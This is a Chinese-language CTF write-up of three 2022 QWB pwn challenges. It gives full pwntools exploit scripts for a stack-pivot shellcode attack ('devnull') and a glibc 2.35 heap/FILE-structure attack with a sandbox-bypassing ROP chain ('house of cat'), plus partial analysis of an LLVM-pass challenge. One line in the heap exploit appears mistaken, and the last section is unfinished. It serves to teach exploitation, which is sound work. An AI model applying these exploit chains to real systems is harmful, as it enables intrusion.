2022强网杯-PWN-WP

devnull

分析

题目的libc_start_main需要glibc2.34+,所以在ubuntu21上打。

main函数溢出点很明显,读了0x2c bytes,覆盖掉rbp后可以溢出0x8 bytes。

1659259085782.png

直接考虑栈迁移。

1659259190674.png

这里我是迁移到.LOAD去了。

溢出的时候要注意覆盖buf变量和fd变量(实际的栈布局和ida分析的稍有出入,需要自己调一下看),劫持第二次read,把之后布置的rop读到.LOAD中。

这里进的是第25行的read,但是rdi此时是0,所以可以正常从stdin写数据。

由于保护全开,不好从got表leak libc,但这个题存在_mprotect函数,可以用来修改某段内存的权限。

sub_4012B6中,存在可大量利用的代码片段

1659259672300.png

由于之前打印过Thanks\n,刚好7个字符,所以在call _mprotect的时候,edx其实就是7。

不过rdi是由rax控制的,所以还需要找能控制rax的gadget。

1659259468454.png

这里将[rbp-0x18]赋值给了rax,所以只需要控制好rbp,在gadget中,让rbp-0x18处是.LOAD的起始地址就行。(这里卡了挺久,mprotect的addr参数,必须是页对齐的才行)。

然后就正常布置rop,最后写shellcode,execve("/bin/sh\x00", 0, 0)即可getshell。(由于关闭了stdout,所以getshell之后还需要exec 1>&2重定位一下)

exp

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
# p = process('./devnull')
p = remote('123.56.45.155', 35339)
elf = ELF('./devnull')

load = 0x3fe000

leave_ret = 0x0000000000401354 # leave ; ret
mov_rax = 0x0000000000401350 # mov rax, qword ptr [rbp - 0x18] ; leave ; ret

pay = cyclic(0x34) + p64(load)*2 + p64(leave_ret)
p.recvuntil('filename')
p.send(pay)

pay = p64(load+0x28) + p64(mov_rax) + p64(load)*4 + p64(0x4012d0)
pay += b'/bin/sh\x00' + p64(load+0x48)+asm(shellcraft.execve(load+0x38,0,0))

p.recvuntil('new data')

# gdb.attach(p)
sleep(1)
p.send(pay)

p.interactive()

1659260216178.png

house of cat

分析

libc-2.35的菜单堆题,保护全开,沙箱禁用了execve,并且对fd有检查。

每次循环都用sub_155Etcache_perthread_struct进行了重新赋值,防止打tcache任意分配。

1660290997606.png

分析sub_1DF3发现,需要先在sub_1A50中将sub_19D6栈上的一个变量改为1来登录,之后才能进到堆块管理的功能中。

而登录的payload其实很简单:

1. 包含`QWB`, `LOGIN`, `QWXF`, `admin`, `r00t`这些字段
2. 在`LOGIN`后用` | `隔开
3. `LOGIN`最先出现, 然后是`r00t`, 在`QWB`往后5位是`admin`

我最终使用的是

LOGIN | r00t QWB QWXFadmin

后续的菜单交互payload构造方法类似,就不作具体分析了

菜单总体如下

1660294557739.png
1660296472805.png

add功能限制了chunk的size在0x420到0x470之间,都是largebin chunks的范围。

1660296568387.png

delete直接白给uaf,肯定会从这里入手去leak和打largebin attack。

1660296652790.png

show是直接write0x30个字节,不怕\x00的截断。

1660296750135.png

mini_edit限制了修改只能修改0x30,且次数受dword_4010的限制,只能修改2次。也就是说,最多完成2次largebin attack。不过这题的洞是uaf,操作的空间还是比较大的。

leak部分没什么好说的,直接利用uaf得到heapbase和libcbase。

第一个largebin attack我打的是stderr,因为这题没有显式调用exit,也不能从main函数返回,所以没法走fsop,需要利用__malloc_assert,(参考house of kiwi的触发方法,这里就不详细介绍了)

IO利用链这里我是使用的house of apple2的方法,利用_IO_wfile_overflow。(其实也可以利用_IO_wfile_jumps_mmap_IO_wfile_jumps_maybe_mmap,不过可能需要浅浅调一下偏移)

wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
    {
      /* Allocate a buffer if needed. */
      if f->_wide_data->_IO_write_base == 0
    {
      _IO_wdoallocbuf (f); // 进此分支
      // ......
    }
    }
}

这里需要满足:

  1. (f->_flags & _IO_NO_WRITES) == 0
  2. (f->_flags & _IO_CURRENTLY_PUTTING) == 0
  3. (f->_wide_data->_IO_write_base == 0)

_IO_wdoallocbuf中,有

void
_IO_wdoallocbuf (FILE *fp)
{
  if (fp->_wide_data->_IO_buf_base)
    return;
  if (!(fp->_flags & _IO_UNBUFFERED))
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF) // 进此分支控制rip
      return;
  _IO_wsetb (fp, fp->_wide_data->_shortbuf,
             fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)

这里需要满足:

  1. (fp->_wide_data->_IO_buf_base) == 0
  2. (fp->_flags & _IO_UNBUFFERED) == 0

然后就会调用(wint_t)_IO_WDOALLOCATE (fp), 即*(fp->_wide_data->_wide_vtable + 0x68)(fp)

综上,fake_stderr需要满足的条件如下:

  1. 如果不需要直接getshell,那么fp->_flags设置为0即可(满足~(0x2 | 0x8 | 0x800)
  2. fp->vtable设为_IO_wfile_jumps
  3. fp->_wide_data设置为某个可控地址A,(*(fp + 0xa0) = A
  4. fp->_wide_data->_IO_write_base设置为0,(*(A + 0x18) = 0
  5. fp->_wide_data->_IO_buf_base设置为0,(*(A + 0x30) = 0
  6. fp->_wide_data->_wide_vtable设置为可控地址B,(*(A + 0Xe0) = B
  7. fp->_wide_data->_wide_vtable->doallocate设置为想要劫持rip到的地址,(*(B + 0x68) = rip

由于还会调用__xfprintf,其中有一个_IO_flockfile的宏,还需要满足fp->_lock为一个可写地址。

触发__malloc_assert这题应该至少有两个做法,一个是再利用一次largebin attack去打&topsize+7,修改到topsize为某个堆地址的最低一字节(要保证大于0x20),还有一个就是构造heap overlap,直接修改到topsize。这里我使用的是后者,所以也节约了一次largebin attack。(所以这题应该也是可以用house of emma梭的,只是能不打TLS就别打hhh)

构造overlap的方法就是造3个与top chunk紧邻的chunk,两个0x450(A, B),另一个作为防止直接于topchunk合并的gap(C),然后free掉A和B,重新分配为一个0x440(C)和一个0x460(D),这个时候就能改到之前的chunk B的chunk size,我们修改他为0x8c1,此时利用uaf,再次free掉chunk B,这个时候topchunk就合并上来了。然后free掉chunk D,重新申请就能改到topchunk的size。

剩下的就没什么好说的了,就是要注意在open之前先close(0),让open("flag", 0)分配到的fd为0,通过沙箱的检查,然后直接用libc的open会被kill掉,这里可以用syscall来调用。

(exp比较难看,SigreturnFrame_wide_vtable我是直接空间复用了,因为_IO_WDOALLOCATE劫持到rip的时候,rdx刚好在那个chunk的地址,所以就凑合着用了。)

exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('./house_of_cat')
libc = elf.libc
p = process('./house_of_cat')

sla = lambda x,y : p.sendlineafter(x, y)
sa  = lambda x,y : p.sendafter(x, y)
sd  = lambda x   : p.send(x)
sl  = lambda x   : p.sendline(x)
rl  = lambda     :p.recvline()
ru  = lambda x   : p.recvuntil(x)

def choice(idx):
	sa('~~~\n', 'CAT | r00t QWB QWXF$\xff')
	sla('choice:', str(idx))

def add(idx, size, content='ababab'):
	choice(1)
	sla('idx:', str(idx))
	sla('size:', str(size))
	if idx!=14:
		sa('content:', content)

def delete(idx):
	choice(2)
	sla('idx:', str(idx))

def show(idx):
	choice(3)
	sla('idx', str(idx))

def edit(idx, content):
	choice(4)
	sla('idx', str(idx))
	sa('content:', content)

def getshell():
	sleep(0.1)
	p.interactive()

def main():
	sa('~~~\n', 'LOGIN | r00t QWB QWXFadmin')
	add(0, 0x420) # A
	wide_data = p64(0)*4
	add(15, 0x450) # gap
	add(1, 0x418) # B
	add(2, 0x450) # gap
	delete(0)
	add(3, 0x450)
	show(0) # leak
	ru('text:\n')
	libcbase = u64(p.recv(8)) - 0x21a0d0
	p.recv(8)
	heapbase = u64(p.recv(8))>>12
	print(hex(libcbase))
	print(hex(heapbase))
	stderr = libcbase + libc.symbols['stderr']
	print(hex(stderr))
	delete(1)
	fake_stderr = p64(0)
	fake_stderr = fake_stderr.ljust(0x78, b'\x00')
	fake_stderr += p64((heapbase<<12)) # _lock
	fake_stderr = fake_stderr.ljust(0x90, b'\x00')
	fake_stderr += p64((heapbase<<12)+0x1c60) # _wide_data
	fake_stderr = fake_stderr.ljust(0xc8, b'\x00')
	fake_stderr += p64(libcbase + 0x2160c0) # _IO_wfile_jumps
	add(5, 0x418, fake_stderr)
	delete(5)
	pay = p64(libcbase+0x21a0d0)*2
	pay += p64((heapbase<<12)^0x290) + p64(stderr-0x20)
	edit(0, pay)
	# gdb.attach(p)
	add(4, 0x450) # largebin attack stderr
	setcontext = libcbase + libc.symbols['setcontext']
	wide_data = p64(0) * 13
	wide_data += p64(0)*2 + p64(0x20) # rdx
	wide_data += p64(0)*2 + p64((heapbase<<12)+0x2158) # rsp
	wide_data += p64(libcbase + 0x000000000002a3e5 + 1) # rip
	wide_data = wide_data.ljust(0xd0, b'\x00')
	wide_data += p64((heapbase<<12)+0x20c0) # wide_vtable_address
	add(6, 0x450, wide_data) # AA
	wide_vtable = p64(0)
	wide_vtable = wide_vtable.ljust(0x58, b'\x00')
	wide_vtable += p64(setcontext+61)
	close = libcbase + libc.symbols['close']
	# open =  libcbase + libc.symbols['open']
	read =  libcbase + libc.symbols['read']
	write = libcbase + libc.symbols['write']
	syscall_ret = libcbase + 0x0000000000091396 # syscall ; ret
	pop_rax = libcbase + 0x0000000000045eb0 #  pop rax ; ret
	pop_rdi = libcbase + 0x000000000002a3e5 # pop rdi ; ret
	pop_rsi = libcbase + 0x000000000002be51 # pop rsi ; ret
	rop = b'flag\x00\x00\x00\x00' + p64(0)*4
	rop += p64(pop_rdi) + p64(0) + p64(close)
	rop += p64(pop_rdi) + p64((heapbase<<12)+0x2130)
	pay += p64(pop_rax) + p64(2) + p64(syscall_ret)
	rop += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64((heapbase<<12)+0x2140) + p64(read)
	rop += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64((heapbase<<12)+0x2140) + p64(write)
	add(7, 0x450, wide_vtable + rop) # BB
	add(8, 0x450)
	add(9, 0x450)
	add(10, 0x450) # gap
	delete(8)
	delete(9)
	add(11, 0x440)
	pay = p64(0) + p64(0x460+0x461)
	add(12, 0x460, pay)
	delete(9)
	delete(12)
	pay = p64(0) + p64(0x50) # hijack topsize
	add(13, 0x460, pay)
	# gdb.attach(p, 'b *__malloc_assert')
	# raw_input()
	add(14, 0x450) # __malloc_assert
	getshell()

if __name__ == '__main__':
	main()

1660485670538.png

yakagame

分析

题目给了opt-8yaka.so,显然是道llvm pass类的pwn题。(至于llvm pass是啥,我后面再单独出一篇文章讲讲吧)

查一下opt-8的保护,可以看到差不多只开了NX,利用形式就很多了

1661828154179.png

yaka.so直接ida开始分析

1661827232637.png

首先在虚函数表中找到他重写的runOnFunction函数(一般来说runOnFunction一定在虚函数表的最后),在这题就是sub_C880这个函数,跟进去分析。

可以看到需要用gamestart函数作为主函数,然后调用一些特殊函数名来进行对应的游戏操作,最终通过fight打败boss取得分数。(具体功能这里就不浪费篇幅讨论了)

分数达到0x12345678过后会有一个后门

1662099608138.png

在后门中可以直接执行system(cmd)

这个cmd的来源如下,

1662105456396.png
1662105510236.png

src长度为8,解密后极有可能是cat flag这8个字符。

再看看涉及到解密的代码部分,

1662105853650.png

当函数名为以上四个的时候,可以对cmd进行一个逐位的操作。

现在来写代码暴力破解一下这个解密操作。

先用idapython提取src的每一位(手动复制也行,我太懒了)

1662106272161.png

写了个dfs暴力跑解密顺序,

#include<cstdlib>
#include<cstdio>
#include<cstring>
#include<iostream>
#define per(i, a, b) for (int i = a; i <= b; ++i)
#define rep(i, a, b) for (int i = a; i >= b; --i)

using namespace std;

unsigned char cmd[1<<4] = {0x92, 0x68, 0x7b, 0x27, 0x6d, 0x93, 0x68, 0x66};
int op[1<<10];
void wuxiangdeyidao(unsigned char tmp[]){
    per(i,0,7)
        tmp[i]^=0x14u;
}
void zhanjinniuza(unsigned char tmp[]){
    per(i,0,7)
        tmp[i]^=0x7fu;
}
void guobapenhuo(unsigned char tmp[]){
    per(i,0,7)
        tmp[i]-=9u;
}
void tiandongwanxiang(unsigned char tmp[]){
    per(i,0,7)
        tmp[i]+=2u;
}
void (*func[1<<2])(unsigned char*) = {wuxiangdeyidao, zhanjinniuza, guobapenhuo, tiandongwanxiang};
void dfs(unsigned char tmp[], int t){
    if(t>10)  return;
    unsigned char tmp_t[1<<4] = {};
    per(i,0,3){
        memcpy(tmp_t, tmp, 0x9);
        (*func[i])(tmp_t);
        op[t] = i;
        if(!strcmp((char *)tmp_t, "cat flag")){
            per(j,0,t)  cout<<op[j]<<" ";
            exit(0);
        }
        else
            dfs(tmp_t, t+1);
    }
}
int main(){
    unsigned char tmp[1<<4] = {};
    memcpy(tmp, cmd, 0x9);
    dfs(tmp, 0);
    return 0;
}
1662108699227.png

最终得到的顺序是:

0 0 0 0 0 0 3 0 2 0

由于wuxiangdeyidao是异或操作,所以我可以对这个结果手动简化一下变成:

3 0 2 0

即,

tiandongwanxiang, wuxiangdeyidao, guobapenhuo, wuxiangdeyidao

这样就能把cmd还原为cat flag

现在来分析一下如何触发后门。

在gamestart函数中调用特定函数,会触发特定的处理流程。fight, merge, destroy, upgrade和刚刚解密cmd分析到的四个函数以外,如果再遇到新的函数(这些函数的参数个数都要按照要求来定义),将会在map中存入新的键值对。

1662130301623.png

weaponlist的索引v33是个char类型的变量,

1662129601859.png

而bss段里面weaponlist的低位刚好又是score的指针,所以我们可以构造大于255个函数,让v33溢出为负数,且再次调用其中某些函数刚好能劫持到score指针的某几个字节(正好程序没有打开pie保护),从而让后门大开。

1662129714788.png

由于map内部会对key进行排序,所以自定义函数的名字要注意按字典序递增。

然后具体的偏移量要稍微用gdb调试一下。

(待更新)